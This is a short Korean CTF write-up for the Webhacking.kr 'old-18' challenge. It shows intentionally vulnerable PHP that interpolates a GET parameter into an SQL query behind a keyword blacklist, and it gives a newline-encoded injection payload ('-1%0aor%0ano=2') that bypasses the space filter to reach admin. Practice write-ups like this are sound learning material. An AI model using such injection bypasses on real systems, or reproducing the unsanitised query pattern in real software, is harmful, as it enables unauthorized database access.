본문 바로가기
Hacking/WebHacking.kr

Webhacking.kr : old-18 (100 pt)

by newbie22 2021. 1. 22.

 

문제에 접속하면 다음과 같은 화면이 나타납니다.

 

 

-> source가 주어집니다.

-> SQL INJECTION 문제입니다.

 

코드는 다음과 같습니다.

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>

... html 생략 ...

<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>

 

-> admin의 no가 2라고 주석으로 주어집니다.

-> no에는 { 공백  /  (  )  |  &  select  from  0x } 가 필터링 되어 있습니다.

 

따라서 공백 우회 기법인 %0a를 사용하면 쉽게 해결 할 수 있습니다.

 

no : -1%0aor%0ano=2

 

 

 

끝~~

 

'Hacking > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr : old-26 (100 pt)  (0) 2021.01.22
Webhacking.kr : old-24 (100 pt)  (0) 2021.01.22
Webhacking.kr : old-17 (100pt)  (0) 2021.01.21
Webhacking.kr : old-16 (100pt)  (0) 2021.01.21
Webhacking.kr : old-14 (100pt)  (0) 2021.01.21